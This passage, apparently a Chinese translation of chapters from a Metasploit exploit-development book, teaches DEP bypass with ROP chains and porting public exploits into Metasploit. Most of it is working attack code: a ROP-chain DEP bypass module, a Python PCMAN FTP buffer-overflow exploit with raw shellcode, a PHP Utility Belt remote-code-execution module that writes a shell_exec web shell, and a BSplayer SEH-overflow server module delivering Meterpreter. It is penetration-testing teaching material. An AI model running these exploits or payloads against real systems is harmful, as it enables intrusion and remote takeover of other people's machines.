在左侧,我们有一个标准应用程序的布局。在中间,我们有一个使用缓冲区溢出漏洞受到攻击的应用程序,导致 EIP 寄存器被覆盖。在右侧,我们有 DEP 绕过的机制,我们不是用 JMP ESP 地址覆盖 EIP,而是用 ROP gadget 的地址覆盖它,然后是另一个 ROP gadget,依此类推,直到执行 shellcode。
指令执行如何绕过硬件启用的 DEP 保护?
答案很简单。诀窍在于将这些 ROP gadgets 链接起来调用VirtualProtect()函数,这是一个用于使堆栈可执行的内存保护函数,以便 shellcode 可以执行。让我们看看我们需要执行哪些步骤才能使利用在 DEP 保护下工作:
-
找到 EIP 寄存器的偏移量
-
用第一个 ROP gadget 覆盖寄存器
-
继续用其余的 gadgets 覆盖,直到 shellcode 变得可执行
-
执行 shellcode
使用 Mona 创建 ROP 链
使用 Immunity Debugger 的 Mona 脚本,我们可以找到 ROP gadgets。然而,它还提供了自己创建整个 ROP 链的功能,如下图所示:
在 Immunity Debugger 的控制台中使用!mona rop -m *.dll -cp nonull命令,我们可以找到关于 ROP gadgets 的所有相关信息。我们可以看到 Mona 脚本生成了以下文件:
有趣的是,我们有一个名为rop_chains.txt的文件,其中包含可以直接在利用模块中使用的整个链。该文件包含了在 Python、C 和 Ruby 中创建的用于 Metasploit 的 ROP 链。我们只需要将 ROP 链复制到我们的利用中,就可以了。
为触发VirtualProtect()函数创建 ROP 链,我们需要以下寄存器的设置:
让我们看一下 Mona 脚本创建的 ROP 链,如下所示:
我们在rop_chains.txt文件中有一个完整的create_rop_chain函数,用于 Metasploit。我们只需要将这个函数复制到我们的利用中。
编写 DEP 绕过的 Metasploit 利用模块
在这一部分,我们将为同一个易受攻击的应用程序编写 DEP 绕过利用,我们在利用栈溢出漏洞时失败了,因为 DEP 已启用。该应用程序在 TCP 端口9999上运行。因此,让我们快速构建一个模块,并尝试在同一应用程序上绕过 DEP:
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'DEP Bypass Exploit',
'Description' => %q{
DEP Bypass Using ROP Chains Example Module
},
'Platform' => 'win',
'Author' =>
[
'Nipun Jaswal'
],
'Payload' =>
{
'space' => 312,
'BadChars' => "\x00",
},
'Targets' =>
[
['Windows 7 Professional',{ 'Offset' => 2006}]
],
'DisclosureDate' => 'Mar 4 2018'
))
register_options(
[
Opt::RPORT(9999)
])
end
我们已经编写了许多模块,并对所需的库和初始化部分非常熟悉。此外,我们不需要返回地址,因为我们使用的是自动构建机制跳转到 shellcode 的 ROP 链。让我们专注于利用部分:
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x77dfb7e4, # POP ECX # RETN [RPCRT4.dll]
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x76a5fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll]
0x766a70d7, # POP EBP # RETN [USP10.dll]
0x625011bb, # & jmp esp [essfunc.dll]
0x777f557c, # POP EAX # RETN [msvcrt.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x765e4802, # NEG EAX # RETN [user32.dll]
0x76a5f9f1, # XCHG EAX,EBX # RETN [MSCTF.dll]
0x7779f5d4, # POP EAX # RETN [msvcrt.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x765e4802, # NEG EAX # RETN [user32.dll]
0x76386fc0, # XCHG EAX,EDX # RETN [kernel32.dll]
0x77dfd09c, # POP ECX # RETN [RPCRT4.dll]
0x62504dfc, # &Writable location [essfunc.dll]
0x77e461e1, # POP EDI # RETN [RPCRT4.dll]
0x765e4804, # RETN (ROP NOP) [user32.dll]
0x777f3836, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x77d43c64, # PUSHAD # RETN [ntdll.dll]
].flatten.pack("V*")
return rop_gadgets
end
def exploit
connect
rop_chain = create_rop_chain()
junk = rand_text_alpha_upper(target['Offset'])
buf = "TRUN ."+junk + rop_chain + make_nops(16) + payload.encoded+'rn'
sock.put(buf)
handler
disconnect
end
end
我们可以看到,我们将 Mona 脚本生成的rop_chains.txt文件中的整个create_rop_chain函数复制到了我们的利用中。
我们通过连接到目标开始利用方法。然后,我们调用create_rop_chain函数,并将整个链存储在一个名为rop_chain的变量中。
接下来,我们使用rand_text_alpha_upper函数创建一个包含2006个字符的随机文本,并将其存储在一个名为junk的变量中。该应用程序的漏洞在于执行TRUN命令。因此,我们创建一个名为buf的新变量,并存储TRUN命令,后跟包含2006个随机字符的junk变量,再跟我们的rop_chain。我们还添加了一些填充,最后将 shellcode 添加到buf变量中。
接下来,我们只需将buf变量放到通信通道sock.put方法中。最后,我们只需调用处理程序来检查是否成功利用。
让我们运行这个模块,看看我们是否能够利用系统:
哇!我们轻松地通过了 DEP 保护。现在我们可以对受损目标进行后期利用。
其他保护机制
在本章中,我们基于基于堆栈的漏洞开发了利用程序,在我们的利用过程中,我们绕过了 SEH 和 DEP 保护机制。还有许多其他保护技术,如地址空间布局随机化(ASLR)、堆栈 cookie、SafeSEH、SEHOP 等。我们将在本书的后续部分中看到这些技术的绕过技术。然而,这些技术将需要对汇编、操作码和调试有出色的理解。
参考一篇关于绕过保护机制的优秀教程:www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/。
有关调试的更多信息,请参考:resources.infosecinstitute.com/debugging-fundamentals-for-exploit-development/。
总结
在本章中,我们首先介绍了在 Metasploit 中编写利用程序的汇编基础知识,一般概念以及它们在利用中的重要性。我们深入讨论了基于堆栈的溢出、基于 SEH 的堆栈溢出以及绕过 DEP 等保护机制的细节。我们还介绍了 Metasploit 中各种方便的工具,以帮助利用过程。我们还看了坏字符和空间限制的重要性。
现在,我们可以借助支持工具执行诸如在 Metasploit 中编写软件的利用之类的任务,确定必要的寄存器,覆盖它们的方法,并打败复杂的保护机制。
在进行下一章之前,可以尝试完成以下一组练习:
-
尝试在 exploit-db.com 上找到仅适用于 Windows XP 系统的利用程序,并使其在 Windows 7/8/8.1 上可用
-
从
exploit-db.com/中至少获取 3 个 POC 利用程序,并将它们转换为完全可用的 Metasploit 利用模块 -
开始向 Metasploit 的 GitHub 存储库做出贡献,并 fork 主要实例
在下一章中,我们将查看目前在 Metasploit 中尚不可用的公开可用的利用程序。我们将尝试将它们移植到 Metasploit 框架中。
第十四章:移植利用
在前一章中,我们讨论了如何在 Metasploit 中编写利用。然而,在已经有公开利用的情况下,我们不需要为特定软件创建利用。公开可用的利用可能是 Perl、Python、C 或其他不同编程语言中的。现在让我们发现一些将利用移植到 Metasploit 框架中的策略。这种机制使我们能够将现有利用转换为与 Metasploit 兼容的利用,从而节省时间并使我们能够随时切换有效载荷。在本章结束时,我们将了解以下主题:
-
从各种编程语言移植利用
-
从独立利用中发现基本要素
-
从现有独立扫描器/工具脚本创建 Metasploit 模块
如果我们能够找出现有利用中哪些基本要素可以在 Metasploit 中使用,那么将脚本移植到 Metasploit 框架中就是一项简单的工作。
将利用移植到 Metasploit 的这一想法通过使独立脚本能够在广泛的网络上运行而不仅仅是单个系统上,从而节省时间。此外,由于每个利用都可以从 Metasploit 中访问,这使得渗透测试更有组织性。让我们了解如何在即将到来的章节中使用 Metasploit 实现可移植性。
导入基于堆栈的缓冲区溢出利用
在即将到来的示例中,我们将看到如何将用 Python 编写的利用导入 Metasploit。公开可用的利用可以从以下网址下载:www.exploit-db.com/exploits/31255/。让我们按照以下方式分析利用:
import socket as s
from sys import argv
host = "127.0.0.1"
fuser = "anonymous"
fpass = "anonymous"
junk = '\x41' * 2008
espaddress = '\x72\x93\xab\x71'
nops = 'x90' * 10
shellcode= ("\xba\x1c\xb4\xa5\xac\xda\xda\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x31\x53\x12\x83\xeb\xfc\x03\x4f\xba\x47\x59\x93\x2a\x0e"
"\xa2\x6b\xab\x71\x2a\x8e\x9a\xa3\x48\xdb\x8f\x73\x1a\x89\x23"
"\xff\x4e\x39\xb7\x8d\x46\x4e\x70\x3b\xb1\x61\x81\x8d\x7d\x2d"
"\x41\x8f\x01\x2f\x96\x6f\x3b\xe0\xeb\x6e\x7c\x1c\x03\x22\xd5"
"\x6b\xb6\xd3\x52\x29\x0b\xd5\xb4\x26\x33\xad\xb1\xf8\xc0\x07"
"\xbb\x28\x78\x13\xf3\xd0\xf2\x7b\x24\xe1\xd7\x9f\x18\xa8\x5c"
"\x6b\xea\x2b\xb5\xa5\x13\x1a\xf9\x6a\x2a\x93\xf4\x73\x6a\x13"
"\xe7\x01\x80\x60\x9a\x11\x53\x1b\x40\x97\x46\xbb\x03\x0f\xa3"
"\x3a\xc7\xd6\x20\x30\xac\x9d\x6f\x54\x33\x71\x04\x60\xb8\x74"
"\xcb\xe1\xfa\x52\xcf\xaa\x59\xfa\x56\x16\x0f\x03\x88\xfe\xf0"
"\xa1\xc2\xec\xe5\xd0\x88\x7a\xfb\x51\xb7\xc3\xfb\x69\xb8\x63"
"\x94\x58\x33\xec\xe3\x64\x96\x49\x1b\x2f\xbb\xfb\xb4\xf6\x29"
"\xbe\xd8\x08\x84\xfc\xe4\x8a\x2d\x7c\x13\x92\x47\x79\x5f\x14"
"\xbb\xf3\xf0\xf1\xbb\xa0\xf1\xd3\xdf\x27\x62\xbf\x31\xc2\x02"
"\x5a\x4e")
sploit = junk+espaddress+nops+shellcode
conn = s.socket(s.AF_INET,s.SOCK_STREAM)
conn.connect((host,21))
conn.send('USER '+fuser+'\r\n')
uf = conn.recv(1024)
conn.send('PASS '+fpass+'\r\n')
pf = conn.recv(1024)
conn.send('CWD '+sploit+'\r\n')
cf = conn.recv(1024)
conn.close()
这个简单的利用通过匿名凭据登录到端口21上的 PCMAN FTP 2.0 软件,并使用CWD命令利用软件。
前一个利用的整个过程可以分解为以下一系列要点:
-
将用户名、密码和主机存储在
fuser、pass和host变量中。 -
将
junk变量分配为2008个 A 字符。这里,2008是覆盖 EIP 的偏移量。 -
将 JMP ESP 地址分配给
espaddress变量。这里,espaddress 0x71ab9372是目标返回地址。 -
在
nops变量中存储 10 个 NOPs。 -
将执行计算器的有效载荷存储在
shellcode变量中。 -
将
junk、espaddress、nops和shellcode连接起来,并将它们存储在sploit变量中。 -
使用
s.socket(s.AF_INET,s.SOCK_STREAM)建立套接字,并使用connect((host,21))连接到端口 21 的主机。 -
使用
USER和PASS提供fuser和fpass以成功登录到目标。 -
发出
CWD命令,然后跟上sploit变量。这将导致在偏移量为2008处覆盖 EIP,并弹出计算器应用程序。 -
让我们尝试执行利用并分析结果如下:
原始利用从命令行获取用户名、密码和主机。然而,我们修改了机制,使用了固定的硬编码值。
一旦我们执行了利用,就会出现以下屏幕:
我们可以看到计算器应用程序已经弹出,这表明利用正在正确工作。
收集基本要素
让我们找出从前面的利用中需要获取哪些基本值,以便从下表中生成 Metasploit 中等效模块:
| 序列号 | 变量 | 值 |
|---|---|---|
| 1 | 偏移值 | 2008 |
| 2 | 使用 JMP ESP 搜索在可执行模块中找到的目标返回/跳转地址/值 | 0x71AB9372 |
| 3 | 目标端口 | 21 |
| 4 | 用于删除不规则性的前导 NOP 字节到 shellcode 的数量 | 10 |
| 5 | 逻辑 | CWD命令后跟着 2008 字节的垃圾数据,然后是 EIP、NOPs 和 shellcode |
我们有构建 Metasploit 模块所需的所有信息。在下一节中,我们将看到 Metasploit 如何辅助 FTP 进程以及在 Metasploit 中创建利用模块有多么容易。
生成一个 Metasploit 模块
构建 Metasploit 模块的最佳方法是复制现有的类似模块并对其进行更改。但是,Mona.py脚本也可以动态生成特定于 Metasploit 的模块。我们将在本书的后面部分看到如何使用Mona.py脚本生成快速利用。
现在让我们看一下 Metasploit 中利用的等效代码:
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server Post-Exploitation CWD Command',
'Description' => %q{
This module exploits a buffer overflow vulnerability in PCMAN FTP
},
'Author' =>
[
'Nipun Jaswal'
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'VERBOSE' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\xff\x0a\x0d\x20\x40",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 English',
{
'Ret' => 0x71ab9372,
'Offset' => 2008
}
],
],
'DisclosureDate' => 'May 9 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(21),
OptString.new('FTPPASS', [true, 'FTP Password', 'anonymous'])
])
End
在上一章中,我们处理了许多利用模块。这个利用也不例外。我们首先包含了所有必需的库和/lib/msf/core/exploit目录中的ftp.rb库。接下来,在initialize部分中分配了所有必要的信息。从利用中收集必要的信息后,我们将Ret分配为返回地址,并将Offset设置为2008。我们还将FTPPASS选项的值声明为'anonymous'。让我们看看下一节代码:
def exploit
c = connect_login
return unless c
sploit = rand_text_alpha(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << payload.encoded
send_cmd( ["CWD " + sploit, false] )
disconnect
end
end
connect_login方法将连接到目标并尝试使用我们提供的匿名凭据登录软件。但等等!我们什么时候提供了凭据?模块的FTPUSER和FTPPASS选项会自动启用,包括 FTP 库。FTPUSER的默认值是anonymous。但是,对于FTPPASS,我们已经在register_options中提供了值anonymous。
接下来,我们使用rand_text_alpha生成2008的垃圾数据,使用Targets字段中的Offset值,并将其存储在sploit变量中。我们还使用pack('V')函数将Targets字段中的Ret值以小端格式存储在sploit变量中。将make_nop函数生成的 NOP 连接到 shellcode 中,我们将其存储到sploit变量中。我们的输入数据已经准备好供应。
接下来,我们只需使用 FTP 库中的send_cmd函数将sploit变量中的数据发送到CWD命令的目标。那么,Metasploit 有什么不同之处呢?让我们看看:
-
我们不需要创建垃圾数据,因为
rand_text_aplha函数已经为我们完成了。 -
我们不需要以小端格式提供
Ret地址,因为pack('V')函数帮助我们转换了它。 -
我们从未需要手动指定 NOP,因为
make_nops会自动为我们完成。 -
我们不需要提供任何硬编码的 shellcode,因为我们可以在运行时决定和更改有效载荷。这样可以节省时间,消除了对 shellcode 的手动更改。
-
我们简单地利用 FTP 库创建并连接套接字。
-
最重要的是,我们不需要使用手动命令连接和登录,因为 Metasploit 使用单个方法
connect_login为我们完成了这些。
利用 Metasploit 对目标应用程序
我们看到使用 Metasploit 比现有的利用更有益。让我们利用应用程序并分析结果:
我们可以看到FTPPASS和FTPUSER已经设置为anonymous。让我们按照以下方式提供RHOST和有效载荷类型来利用目标机器:
我们可以看到我们的利用成功执行。Metasploit 还提供了一些额外的功能,使利用更加智能。我们将在下一节看到这些功能。
在 Metasploit 中实现利用的检查方法
在 Metasploit 中,可以在利用易受攻击的应用程序之前检查易受攻击的版本。这非常重要,因为如果目标运行的应用程序版本不易受攻击,可能会导致应用程序崩溃,利用目标的可能性变为零。让我们编写一个示例检查代码,检查我们在上一节中利用的应用程序的版本。
def check
c = connect_login
disconnect
if c and banner =~ /220 PCMan's FTP Server 2\.0/
vprint_status("Able to authenticate, and banner shows the vulnerable version")
return Exploit::CheckCode::Appears
elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
vprint_status("Unable to authenticate, but banner shows the vulnerable version")
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
我们通过调用connect_login方法开始check方法。这将建立与目标的连接。如果连接成功并且应用程序返回横幅,我们将使用正则表达式将其与受影响的应用程序的横幅进行匹配。如果匹配成功,我们将使用Exploit::Checkcode::Appears标记应用程序为易受攻击。但是,如果我们无法进行身份验证但横幅是正确的,我们将返回相同的Exploit::Checkcode::Appears值,表示应用程序易受攻击。如果所有这些检查都失败,我们将返回Exploit::CheckCode::Safe,标记应用程序为不易受攻击。
通过发出check命令,让我们看看应用程序是否易受攻击:
我们可以看到应用程序是易受攻击的。我们可以继续进行利用。
有关实现check方法的更多信息,请参阅:github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check%28%29-method。
将基于 Web 的 RCE 导入 Metasploit
在本节中,我们将看看如何将 Web 应用程序漏洞导入 Metasploit。本章的重点将是掌握与不同编程语言中使用的基本功能相当的功能。在本例中,我们将看看 2015 年 12 月 8 日披露的 PHP 实用工具包远程代码执行漏洞。可从以下网址下载受影响的应用程序:www.exploit-db.com/apps/222c6e2ed4c86f0646016e43d1947a1f-php-utility-belt-master.zip。
远程代码执行漏洞位于POST请求的code参数中,当使用特制数据操纵时,可能导致服务器端代码的执行。让我们看看如何手动利用这个漏洞:
我们在前面的屏幕截图中使用的命令是fwrite,它用于将数据写入文件。我们使用fwrite以可写模式打开名为info.php的文件。我们向文件中写入<?php $a = "net user"; echo shell_exec($a);?>。
当我们的命令运行时,它将创建一个名为info.php的新文件,并将 PHP 内容放入该文件。接下来,我们只需要浏览info.php文件,就可以看到命令的结果。
让我们按以下方式浏览info.php文件:
我们可以看到所有用户帐户都列在info.php页面上。要为 PHP 工具包远程代码执行漏洞编写 Metasploit 模块,我们需要向页面发出 GET/POST 请求。我们需要发出一个请求,在该请求中,我们将我们的恶意数据 POST 到易受攻击的服务器上,并可能获得 meterpreter 访问。
收集必要的信息
在 Metasploit 中利用基于 Web 的漏洞时,最重要的事情是弄清楚 Web 方法,弄清楚使用这些方法的方式,以及弄清楚要传递给这些方法的参数。此外,我们需要知道的另一件事是受攻击的文件的确切路径。在这种情况下,我们知道漏洞存在于CODE参数中。
掌握重要的 Web 功能
在 Web 应用程序的上下文中,重要的 Web 方法位于/lib/msf/core/exploit/http下的client.rb库文件中,进一步链接到/lib/rex/proto/http下的client.rb和client_request.rb文件,其中包含与GET和POST请求相关的核心变量和方法。
/lib/msf/core/exploit/http/client.rb库文件中的以下方法可用于创建 HTTP 请求:
send_request_raw和send_request_cgi方法在不同的上下文中进行 HTTP 请求时是相关的。
我们有send_request_cgi,在某些情况下比传统的send_request_raw函数提供了更多的灵活性,而send_request_raw有助于建立更直接的连接。我们将在接下来的部分讨论这些方法。
要了解我们需要传递给这些函数的数值,我们需要调查REX库。REX库提供了与请求类型相关的以下标头:
通过使用前述参数,我们可以传递与我们的请求相关的各种值。一个例子是设置我们特定的 cookie 和我们选择的其他参数。让我们保持简单,专注于URI参数,即可利用的 Web 文件的路径。
method参数指定它是GET还是POST类型的请求。在获取/发布数据到目标时,我们将使用这些。
GET/POST 方法的基本要点
GET方法将请求数据或来自指定资源的网页,并用它来浏览网页。另一方面,POST命令将来自表单或特定值的数据发送到资源进行进一步处理。现在,在编写基于 Web 的利用时,这非常方便。HTTP 库简化了将特定查询或数据发布到指定页面。
让我们看看我们需要在这个利用中执行的操作:
-
创建一个
POST请求 -
使用
CODE参数将我们的有效载荷发送到易受攻击的应用程序 -
获取目标的 Meterpreter 访问权限
-
执行一些后期利用功能
我们清楚我们需要执行的任务。让我们进一步迈出一步,生成一个兼容的匹配利用,并确认它是否有效。
将 HTTP 利用导入 Metasploit
让我们按照以下方式编写 Metasploit 中 PHP 实用程序皮带远程代码执行漏洞的利用:
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP Utility Belt Remote Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in PHP Utility Belt
},
'Author' =>
[
'Nipun Jaswal',
],
'DisclosureDate' => 'May 16 2015',
'Platform' => 'php',
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true
},
'Targets' =>
[
['PHP Utility Belt', {}]
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php']),
OptString.new('CHECKURI',[false,'Checking Purpose','/php-utility-belt/info.php']),
])
end
我们可以看到我们已经声明了所有必需的库,并在初始化部分提供了必要的信息。由于我们正在利用基于 PHP 的漏洞,我们选择平台为 PHP。我们将DisableNops设置为 true,以关闭有效载荷中的NOP使用,因为利用针对的是 Web 应用程序中的远程代码执行漏洞,而不是基于软件的漏洞。我们知道漏洞存在于ajax.php文件中。因此,我们将TARGETURI的值声明为ajax.php文件。我们还创建了一个名为CHECKURI的新字符串变量,它将帮助我们为利用创建一个检查方法。让我们看一下利用的下一部分:
def check
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'code' => "fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');"
}
)
resp = send_request_raw({'uri' => normalize_uri(datastore['CHECKURI']),'method' => 'GET'})
if resp.body =~ /phpinfo()/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
我们使用send_request_cgi方法以高效的方式容纳POST请求。我们将方法的值设置为POST,将 URI 设置为规范化格式中的目标 URI,并将POST参数CODE的值设置为fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');。这个有效载荷将创建一个名为info.php的新文件,同时编写代码,当执行时将显示一个 PHP 信息页面。我们创建了另一个请求,用于获取我们刚刚创建的info.php文件的内容。我们使用send_request_raw技术并将方法设置为GET来执行此操作。我们之前创建的CHECKURI变量将作为此请求的 URI。
我们可以看到我们将请求的结果存储在resp变量中。接下来,我们将resp的主体与phpinfo()表达式进行匹配。如果结果为真,将表示info.php文件已成功创建到目标上,并且Exploit::CheckCode::Vulnerable的值将返回给用户,显示标记目标为易受攻击的消息。否则,它将使用Exploit::CheckCode::Safe将目标标记为安全。现在让我们进入利用方法:
def exploit
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'code' => payload.encoded
}
)
end
end
我们可以看到我们刚刚创建了一个带有我们有效载荷的简单POST请求。一旦它在目标上执行,我们就会获得 PHP Meterpreter 访问权限。让我们看看这个利用的效果:
我们可以看到我们已经在目标机器上获得了 Meterpreter 访问权限。我们已成功将远程代码执行漏洞转换为 Metasploit 中的可工作利用。
官方的 Metasploit 模块已经存在于 PHP 实用工具包中。您可以从以下链接下载利用:www.exploit-db.com/exploits/39554/。
将 TCP 服务器/基于浏览器的利用导入 Metasploit
在接下来的部分中,我们将看到如何将基于浏览器或 TCP 服务器的利用导入 Metasploit。
在应用程序测试或渗透测试期间,我们可能会遇到无法解析请求/响应数据并最终崩溃的软件。让我们看一个在解析数据时存在漏洞的应用程序的例子:
本例中使用的应用程序是 BSplayer 2.68。我们可以看到我们有一个监听端口81的 Python 利用。当用户尝试从 URL 播放视频时,漏洞在解析远程服务器的响应时出现。让我们看看当我们尝试从端口81上的监听器中流式传输内容时会发生什么:
我们可以看到计算器应用程序弹出,这表明利用成功运行。
从以下链接下载 BSplayer 2.68 的 Python 利用:www.exploit-db.com/exploits/36477/。
让我们看一下利用代码,并收集构建 Metasploit 模块所需的基本信息:
这个利用很简单。然而,利用的作者使用了向后跳转技术来找到由有效载荷传递的 shellcode。这种技术用于对抗空间限制。这里需要注意的另一件事是,作者发送了恶意缓冲区两次来执行有效载荷,这是由于漏洞的性质。让我们尝试在下一节中建立一个表,列出我们转换这个利用为 Metasploit 兼容模块所需的所有数据。
收集基本要素
让我们看一下下表,突出显示了所有必要的值及其用法:
| 序列号 | 变量 | 值 |
|---|---|---|
| 1 | 偏移值 | 2048 |
| 2 | 内存中已知包含 POP-POP-RETN 系列指令/P-P-R 地址的位置 | 0x0000583b |
| 3 | 向后跳转/长跳转以找到 shellcode | \xe9\x85\xe9\xff\xff |
| 4 | 短跳转/指向下一个 SEH 帧的指针 | \xeb\xf9\x90\x90 |
现在我们已经拥有构建 BSplayer 2.68 应用的 Metasploit 模块的所有基本要素。我们可以看到作者在2048 NOP 之后精确放置了 shellcode。然而,这并不意味着实际的偏移值是2048。利用的作者将其放置在 SEH 覆盖之前,因为可能没有空间留给 shellcode。然而,我们将采用这个值作为偏移量,因为我们将按照原始利用的确切过程进行。此外,\xcc是一个断点操作码,但在这个利用中,它被用作填充。jmplong变量存储了向后跳转到 shellcode,因为存在空间限制。nseh变量存储了下一个帧的地址,这只是一个短跳转,正如我们在上一章中讨论的那样。seh变量存储了P/P/R指令序列的地址。
在这种情况下需要注意的一个重要点是,我们需要目标机器连接到我们的利用服务器,而不是我们试图连接到目标机器。因此,我们的利用服务器应该始终监听传入的连接,并根据请求传递恶意内容。
生成 Metasploit 模块
让我们开始在 Metasploit 中编写我们的漏洞的编码部分:
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info={})
super(update_info(info,
'Name' => "BsPlayer 2.68 SEH Overflow Exploit",
'Description' => %q{
Here's an example of Server Based Exploit
},
'Author' => [ 'Nipun Jaswal' ],
'Platform' => 'win',
'Targets' =>
[
[ 'Generic', {'Ret' => 0x0000583b, 'Offset' => 2048} ],
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x20\x0d"
},
'DisclosureDate' => "May 19 2016",
'DefaultTarget' => 0))
end
通过与许多漏洞一起工作,我们可以看到前面的代码部分并无不同,除了来自/lib/msf/core/exploit/tcp_server.rb的 TCP 服务器库文件。TCP 服务器库提供了处理传入请求并以各种方式处理它们所需的所有必要方法。包含此库使得额外选项如SRVHOST、SRVPORT和SSL成为可能。让我们看看代码的剩余部分:
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
print_status("Client Connected")
sploit = make_nops(target['Offset'])
sploit << payload.encoded
sploit << "\xcc" * (6787-2048 - payload.encoded.length)
sploit << "\xe9\x85\xe9\xff\xff"
sploit << "\xeb\xf9\x90\x90"
sploit << [target.ret].pack('V')
client.put(sploit)
client.get_once
client.put(sploit)
handler(client)
service.close_client(client)
end
end
我们可以看到,我们没有这种类型漏洞的漏洞方法。但是,我们有on_client_connect、on_client_data和on_client_disconnect方法。最有用且最简单的是on_client_connect方法。一旦客户端连接到所选的SRVHOST和SRVPORT上的漏洞服务器,此方法将被触发。
我们可以看到,我们使用make_nops以 Metasploit 的方式创建了 NOPs,并使用payload.encoded嵌入了有效载荷,从而消除了硬编码有效载荷的使用。我们使用了类似于原始漏洞的方法组装了sploit变量的其余部分。然而,为了在请求时将恶意数据发送回目标,我们使用了client.put(),它将以我们选择的数据回应目标。由于漏洞需要将数据两次发送到目标,我们使用了client.get_once来确保数据被发送两次,而不是合并成单个单元。将数据两次发送到目标,我们触发了主动寻找来自成功利用的传入会话的处理程序。最后,我们通过发出service.client_close调用来关闭与目标的连接。
我们可以看到我们在代码中使用了client对象。这是因为来自特定目标的传入请求将被视为单独的对象,并且还将允许多个目标同时连接。
让我们看看我们的 Metasploit 模块的运行情况:
让我们从 BSplayer 2.8 连接到端口8080上的漏洞服务器,方法如下:
一旦有连接尝试连接到我们的漏洞处理程序,Meterpreter 有效载荷将传递到目标,并且我们将看到以下屏幕:
中奖!Meterpreter shell 现在可访问。我们成功地使用 TCP 服务器库在 Metasploit 中编写了一个漏洞服务器模块。在 Metasploit 中,我们还可以使用 HTTP 服务器库建立 HTTP 服务器功能。
有关更多 HTTP 服务器功能,请参阅:github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/http/server.rb。
总结
在移植漏洞的头脑风暴练习中,我们现在已经开发了在 Metasploit 中导入各种漏洞的方法。通过阅读本章,我们学会了如何轻松地将不同类型的漏洞移植到框架中。在本章中,我们开发了从独立漏洞中找出必要要素的机制。我们看到了各种 HTTP 功能及其在利用中的用法。我们还复习了基于 SEH 的漏洞利用以及如何构建漏洞服务器。
您可以尝试以下练习:
-
从以下网站将 10 个漏洞移植到 Metasploit:
exploit-db.com/ -
至少开发 3 个浏览器漏洞并将它们移植到 Metasploit
-
尝试创建自己的自定义 shellcode 模块并将其移植到 Metasploit
到目前为止,我们已经涵盖了大部分漏洞编写练习。在下一章中,我们将看到如何利用 Metasploit 对各种服务进行渗透测试,包括 VOIP、DBMS、SCADA 等。